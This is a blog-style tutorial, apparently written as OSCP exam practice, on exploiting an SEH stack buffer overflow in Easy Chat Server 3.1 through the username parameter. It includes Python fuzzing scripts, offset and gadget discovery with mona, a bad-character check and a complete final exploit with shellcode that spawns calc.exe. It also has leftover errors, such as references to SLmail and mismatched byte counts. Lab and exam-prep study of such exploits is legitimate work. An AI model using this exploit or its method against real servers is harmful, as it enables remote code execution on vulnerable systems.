I'm going to be cover how to exploit the Easy Chat Server 3.1 Stack buffer overflow vulnerability on a Windows 7 32 bit virtual machine. This is perfect practice for anyone that is in the process of, or prepping for the PWK labs/OSCP exam!
- Windows XP/7 32 bit machine with Immunity Debugger, Python 2.7 and SLmail downloaded
Step 1: Install Prerequisite Software
Python 2.7, these can both be installed through the Immunity Debugger installation wizard.
mona.pyinto the folder:
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
- Set up the mona working directory logging within Immunity Debugger:
!mona config -set workingfolder c:\logs\%p
Easy Chat Server 3.1through the executable installation wizard, accepting all the set defaults then select
Step 2: Start the Easy Chat Server
Once we have installed Easy Chat Server through the installation wizard, we can start the chat server by executing the application. You will see the application pop up, and if you look at the bottom left of the application, you will see that the chat server is online.
Step 3: Access the Easy Chat Server
To access the chat server itself, we need to browse to 127.0.0.1. You will see from the main page that there are several chat rooms already created, to access the chat rooms as an admin, we can use the default credentials of the admin account,
Enter one of the chats and you'll see that the URL looks something like this:
Step 4: Testing the username parameter manually
We know that the username parameter is the exploitable parameter for the buffer overflow, so lets test this manually first before creating fuzzing scripts etc to finds the exact overflow location.
Copy the URL of the chatroom and return to the main chat server page. Paste the URL into the search bar and press enter. You will see this error:
This username has logged on, please select another username!
Change the username parameter from
username=admin to multiple
A characters like so
username=AAAAAAAAAAAAAAAAAA, keep increasing the number of
A characters until finally, you will see that the Easy Chat Server crashes and has stopped working.
We have now confirmed that the username parameter is vulnerable manually.
Step 5: Start Easy Chat Server within Immunity Debugger
Before we attempt to exploit the Chat Server, we need to setup Immunity Debugger with the Chat Server application on the Windows VM.
By starting the Chat Server within Immunity, it allows us to see vital information that help us to exploit the buffer overflow vulnerability.
Run as administrator
EasyChatand then click
- To start
EasyChat.exewithin Immunity Debugger, press the
Step 6: Fuzz the application
We can now start to create our buffer overflow exploit by fuzzing the username parameter with a python script.
The python script below,
01-fuzzing.py will fuzz the username parameter of the chat server by continuously increasing the characters in increments of 50 until the application crashes.
For the script to give us the estimated location of the crash, we will need to manually close the application once it does crash, the script will then give us the estimated crash location.
#!/usr/bin/python import socket import sys from time import sleep target_ip = '127.0.0.1' target_port = 80 fuzz = 'A' * 50 buffer = 'GET /chat.ghp?username=' + fuzz + '&password=test&room=1&sex=1 HTTP/1.1\r\n\r\n' buffer += 'Host: 127.0.0.1\r\n\r\n' while True: try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.settimeout(2) s.connect((target_ip,target_port)) print '[*] Fuzzing username with buffer length: ' + str(len(fuzz)) s.send(buffer) s.close() sleep (2) buffer = 'GET /chat.ghp?username=' + fuzz + '&password=test&room=1&sex=2 HTTP/1.1\r\n' buffer += 'Host: 127.0.0.1\r\n\r\n' fuzz += 'A' * 50 except: print '[*] Crash occurred at buffer length: ' + str(len(fuzz)-50) sys.exit()
Run the script from the Windows command line:
C:\Python27\ python.exe 01-fuzzing.py
Once the program crashes, and we close it manually, the fuzzing script gives us this output whichi indicates the crash happens between 201 and 250 bytes:
[*] Fuzzing username with buffer length: 50 [*] Fuzzing username with buffer length: 100 [*] Fuzzing username with buffer length: 150 [*] Fuzzing username with buffer length: 200 [*] Fuzzing username with buffer length: 250 [*] Crash occurred at buffer length: 250
When looking at Immunity Debugger, We can see from the bottom of the Immunity application that we have we have created an access violation and that the SEH chain of thread has our
41414141 corrupt entry in it.
If we pass the exception to the program with
Shift+F9 it shows that we have successfully overflowed the buffer into the EIP address space with our
41414141 is hexadecimal for 4
Step 7: Find the EIP register offset
EIP is the Extended instruction pointer for the CPU, it tells the computer where to go next to execute the next command and controls the flow of an application. The goal is to overwrite the EIP with a memory address that directs the application to malicious code. To do this, we need to find out exactly how many characters it takes to reach the EIP without overwriting it.
This is where
mona.py comes into play. Mona is a plugin for Immunity Debugger that can help us exploit the SLmail application.
We will use Mona to create a unique string of characters to determine the exact offset to the EIP register, and as we know that the application crashes between 2501 and 3000 bytes, lets create a pattern of 3000 bytes inside Immunity Debugger:
!mona pc 300
This will create a text file inside the folder
pattern with the 300 unique character pattern inside:
We will now copy the
01-fuzzing.py script and make a new script called
02-finding_eip_offset.py and replace the buffer of A characters with the Hex pattern created by Mona.
Start EasyChat.exe inside Immunity Debugger and run the newly created script, then run the script from the Windows command line:
C:\Python27\ python.exe 02-finding_eip_offset.py
Again we get an access violation message displayed on the bottom status bar, but more importantly, if we press
shift + F9 we will see that instead of
41414141 as the EIP value, we have
We can now utilise Mona to find the exact EIP register offset value with the pattern offset command:
!mona po 68413368
And as you can see from the Mona output, the exact EIP register offset value is
Step 8: Control the EIP register
To make sure that the offset given from Mona of
220 is correct, we can confirm that we have control of the EIP register by copying the
02-finding_eip_offset.py script and creating a new script,
We will modify it so that instead of containing the mona pattern as the buffer, it will contain 220
A characters and 4
B characters meaning when we run the new script, we should see that in Immunity Debugger, once we input
shift+F9 the EIP value is
42424242 which is Hexadecimal for 4
B characters, confirming that we have control over the EIP register.
#!/usr/bin/python import socket target_ip = '127.0.0.1' target_port = 80 eip_confirm = 'A' * 220 + 'B' * 4 + 'C' * 100 buffer = 'GET /chat.ghp?username=' + eip_confirm + '&password=test&room=1&sex=1 HTTP/1.1\r\n' buffer += 'Host:127.0.0.1\r\n\r\n' s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target_ip,target_port)) s.send(buffer + '\r\n\r\n') s.close()
... And just like that, another access violation in Immunity, with the EIP value of
42424242 just like we wanted!
Step 9: Finding a module with no SafeSEH
Because we have had to use
shift+F9 to pass the access vilation to the program, we need to find a module that is not using SafeSEH and place the address of the module in the location of where the SEH handler gets triggered.
We will use mona to find modules that are not using SafeSEH:
From the output above, we can see that there are 3 modules that are not using SafeSEH. I'm going to attempt to use the first module,
C:\Program Files\Easy Chat Server\SSLEAY32.dllSSLEAY32.dll.
We can view the module in more detail:
View > Executable Modules > `C:\Program Files\Easy Chat Server\SSLEAY32.dll
Step 10: POP, POP, RETN
Now that we are inside the module, we need to search for a viable POP, POP, RETN sequence.
Here is an explanation as to why we need a to find a POP, POP, RETN sequence:
POP POP RET is a sequence of instructions needed in order to create SEH (Structured Exception Handler) exploits. The registers to which the popped values go are not important for the exploits to succeed, only the fact that ESP is moved towards higher addresses twice and then a RET is executed. Thus, either POP EAX, POP EBX, RET, or POP ECX, POP ECX, RET or POP EDX, POP EAX, RET (and so on) will do. Each time a POP <register> occurs, ESP is moved towards higher addresses by one position (1 position = 4 bytes for a 32-bit architecture). Each time a RET occurs, the contents of the address ESP points at are put in EIP and executed. In order to create successful SEH exploits, the address of a POP POP RET sequence has to be found. This will enable the attacker to move ESP towards higher addresses twice and then transfer execution at the address where ESP points at.
The full post on the purpose of the POP, POP, RETN instruction sequence can be found here
Now that we have an understanding of why we need such a sequence, it is time to find one within the
SSLEAY32.dll module. We can use the Immunity search function to find a sequence of commands:
Right click the CPU window (Top Left) > Search for > Sequence of commands
Note that we have added,
r32 to the command, this is shorthand for any 32 bit register, we select any 32 bit register as we are not concerned as to where our data is popped.
Immunity finds this valid instruction sequence starting from
We can now edit our exploit script to include the POP, POP, RETN address and an interrupt breakpoint of 4 bytes, which will be taken from our offset total number. Create a new script and call it
#!/usr/bin/python import socket target_ip = '127.0.0.1' target_port = 80 exploit = '\x41' * 216 # offset minus 4 bytes exploit += '\xCC\xCC\xCC\xCC' # interrupt breakpoint exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location exploit += '\x42' * 30 # B chars as junk buffer = 'GET /chat.ghp?username=' + exploit + '&password=test&room=1&sex=1 HTTP/1.1\r\n' buffer += 'Host:127.0.0.1\r\n\r\n' s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target_ip,target_port)) s.send(buffer + '\r\n\r\n') s.close()
Run the script from the Windows command line:
C:\Python27\ python.exe 04-seh.py
We will see again that we have an access violation, and if we check the SEH chain, we can see we have the correct Module address, with the overwrite being set correctly.
If we press
shift+F9 to pass the exception to the program, we can see that we have stepped through the POP, POP, RETN to the interrupts, confirming that we have control of the execution.
The exploit payload can be seen clearly here with the A characters being followed by the interrupt then the POP, POP, RETN then the B junk bytes:
Step 11: Rootin' out those bad characters
Not all hexadecimal characters can be used in shellcode. For example characters like
/x00, a null byte are used to indicate the end of a string, meaning if they are in your shellcode payload, it would cut off the string at that point, meaning our payload will not be fully executed. Other bad characters vary from application to application, so it is important to check for them on every application.
We can use the
follow in dump function to clearly show the buffer variable contents and spot any characters that are out of place and need excluding from our shellcode.
Lets create a new script,
05-finding_bad_chars.py and add a new variable,
badchars which will contain every hexadecimal character except
\x00, \x20, \x0a, \x0d as these will be bad charaters due to the exploit being a GET request and will replace the junk
B characters from the
We will also remove the interrupt and add a jump of 8 bytes so that the application can jump over where we landed and some NOPS to help distinguish the list of hex characters:
#!/usr/bin/python import socket target_ip = '127.0.0.1' target_port = 80 exploit = '\x41' * 216 # offset minus 4 bytes exploit += '\xEB\x06\x90\x90' # jump 8 bytes exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location nops = '\x90' * 16 # NOP sled bad_chars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11" + "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" + "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" + "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e" + "\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d" + "\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c" + "\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b" + "\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a" + "\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89" + "\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98" + "\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7" + "\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6" + "\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5" + "\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4" + "\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3" + "\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2" + "\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer = 'GET /chat.ghp?username=' + exploit + nops + bad_chars + '&password=test&room=1&sex=1 HTTP/1.1\r\n' buffer += 'Host:127.0.0.1\r\n\r\n' s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target_ip,target_port)) s.send(buffer + '\r\n\r\n') s.close()
Run the script from the Windows command line:
C:\Python27\ python.exe 05-finding_bad_chars.py
We can see from the Immunity output that there no more bad characters in the application!
Step 12: Overflow exploit... ASSEMBLE!
- Do we control the EIP register? Yes!
- Have we found a suitable no SafeSEH module? Yes!
This means we are finally at the point where we can assemble our exploitation script with a few tweaks from the previous script:
- Remove the
- Merge the
nopsvariable into the
- Add a new variable called
shellcode- This will be a windows calc.exe POC payload.
Lets create the final python script,
#!/usr/bin/python import socket target_ip = '127.0.0.1' target_port = 80 exploit = '\x90' * 216 # offset minus 4 bytes exploit += '\xEB\x06\x90\x90' # jump 8 bytes exploit += '\xAC\x1F\x01\x10' # pop, pop, retn instruction location exploit += '\x90' * 16 # NOP sled shellcode = "\x89\xe6\xdb\xc2\xd9\x76\xf4\x59\x49\x49\x49\x49\x49" shellcode += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37" shellcode += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41" shellcode += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" shellcode += "\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x6a\x69\x61\x59" shellcode += "\x46\x51\x6b\x62\x6d\x33\x32\x67\x33\x62\x51\x78\x73" shellcode += "\x53\x51\x71\x70\x6c\x43\x53\x4d\x59\x4a\x46\x43\x62" shellcode += "\x42\x76\x55\x34\x6e\x6b\x74\x32\x34\x70\x4e\x6b\x72" shellcode += "\x56\x34\x4c\x4c\x4b\x51\x66\x36\x6c\x6e\x4d\x4e\x6b" shellcode += "\x56\x50\x4c\x4b\x53\x4e\x62\x38\x4e\x6b\x73\x6f\x47" shellcode += "\x4c\x6c\x4b\x51\x4c\x45\x4f\x63\x48\x4c\x4b\x74\x34" shellcode += "\x55\x4f\x61\x30\x55\x51\x69\x6e\x6e\x6b\x62\x6c\x35" shellcode += "\x4f\x76\x44\x65\x51\x69\x69\x34\x4f\x68\x37\x44\x6c" shellcode += "\x63\x61\x71\x52\x4e\x4d\x6b\x31\x57\x4c\x73\x37\x51" shellcode += "\x47\x45\x39\x70\x6e\x32\x65\x50\x75\x39\x61\x4c\x4b" shellcode += "\x32\x54\x67\x6f\x67\x6c\x33\x31\x69\x6e\x43\x33\x37" shellcode += "\x4c\x4c\x6e\x4b\x4f\x4a\x77\x31\x7a\x65\x30\x51\x4a" shellcode += "\x35\x38\x43\x53\x30\x61\x72\x4c\x30\x63\x52\x74\x30" shellcode += "\x59\x73\x78\x6e\x63\x68\x6c\x71\x38\x62\x45\x72\x68" shellcode += "\x4e\x6b\x70\x32\x62\x68\x4e\x6b\x34\x36\x57\x68\x52" shellcode += "\x68\x4e\x6b\x61\x66\x46\x70\x50\x48\x6e\x4d\x57\x38" shellcode += "\x4c\x4b\x34\x70\x43\x78\x4c\x4b\x31\x6e\x66\x50\x34" shellcode += "\x43\x70\x57\x37\x4c\x6e\x6b\x33\x6c\x46\x77\x61\x38" shellcode += "\x6e\x6b\x44\x34\x35\x4f\x37\x50\x71\x58\x45\x51\x4b" shellcode += "\x4e\x6c\x4b\x56\x34\x67\x6f\x56\x44\x66\x6f\x6d\x67" shellcode += "\x36\x4c\x76\x77\x4c\x4d\x53\x62\x56\x62\x4e\x4d\x4d" shellcode += "\x51\x35\x6c\x37\x77\x61\x47\x32\x49\x52\x4e\x37\x35" shellcode += "\x52\x55\x58\x6f\x6e\x6b\x74\x34\x67\x6f\x57\x6c\x70" shellcode += "\x48\x57\x71\x39\x6e\x4e\x6b\x35\x64\x6c\x6e\x33\x78" shellcode += "\x63\x31\x4a\x57\x6a\x39\x69\x6f\x49\x47\x41\x41" buffer = 'GET /chat.ghp?username=' + exploit + shellcode + '&password=test&room=1&sex=1 HTTP/1.1\r\n' buffer += 'Host: 127.0.0.1\r\n\r\n' s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target_ip,target_port)) s.send(buffer + '\r\n\r\n') s.close()
Run the script from the Windows command line:
C:\Python27\ python.exe 06-final_exploit.py
Pass the exception to the program,
shift+F9 and we get our calculator pop up, indicating that we have successfully exploited the buffer overflow vulnerability!
And that is how you exploit the buffer overflow vulnerability in Easy Chat Server 3.1!
If you have any questions, find me on twitter (@CraigUnder) or drop me an email at firstname.lastname@example.org